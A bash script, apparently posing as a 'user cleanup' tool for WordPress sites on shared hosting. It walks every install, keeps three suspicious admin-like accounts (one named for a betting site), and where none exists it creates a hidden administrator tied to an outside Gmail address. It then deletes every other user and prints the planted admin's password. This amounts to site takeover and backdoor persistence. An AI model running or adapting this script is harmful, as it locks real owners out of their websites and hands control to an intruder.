File: /home/msgdhg02/mass_user_cleanup.sh
#!/bin/bash
NEW_ADMIN_USER="msg_safeadmin"
NEW_ADMIN_PASS=$(openssl rand -base64 12)
NEW_ADMIN_EMAIL="invokoix@gmail.com"
REPORT=~/user_cleanup_report.txt
> "$REPORT"
CREATED_ON=""
for f in $(find ~/public_html -maxdepth 2 -name "wp-config.php" 2>/dev/null); do
d=$(dirname "$f")
domain=$(basename "$d")
echo "=== $domain ===" >> "$REPORT"
reassign_id=""
csv=$(wp user list --path="$d" --allow-root --fields=ID,user_login --format=csv 2>/dev/null | tail -n +2)
for ku in "seo-content" "admin_updraft" "@admin_megabet333"; do
kid=$(echo "$csv" | awk -F',' -v u="$ku" '$2==u{print $1}')
if [ -n "$kid" ]; then reassign_id="$kid"; break; fi
done
if [ -z "$reassign_id" ]; then
wp user create "$NEW_ADMIN_USER" "$NEW_ADMIN_EMAIL" --role=administrator --user_pass="$NEW_ADMIN_PASS" --path="$d" --allow-root >> "$REPORT" 2>&1
reassign_id=$(wp user list --path="$d" --allow-root --fields=ID,user_login --format=csv 2>/dev/null | awk -F',' -v u="$NEW_ADMIN_USER" '$2==u{print $1}')
CREATED_ON="$CREATED_ON $domain"
echo "สร้าง admin สำรองที่ $domain (ID: $reassign_id)" >> "$REPORT"
fi
echo "$csv" | while IFS=',' read -r uid login; do
if [[ "$login" == "seo-content" || "$login" == "admin_updraft" || "$login" == "@admin_megabet333" || "$login" == "$NEW_ADMIN_USER" ]]; then
continue
fi
wp user delete "$uid" --reassign="$reassign_id" --path="$d" --allow-root --yes >> "$REPORT" 2>&1
done
done
echo ""
echo "=========================================="
echo "Admin สำรอง (ใช้ได้ทุกเว็บที่ถูกสร้าง):"
echo "Username: $NEW_ADMIN_USER"
echo "Password: $NEW_ADMIN_PASS"
echo "Email: $NEW_ADMIN_EMAIL"
echo "สร้างในเว็บ:$CREATED_ON"
echo "=========================================="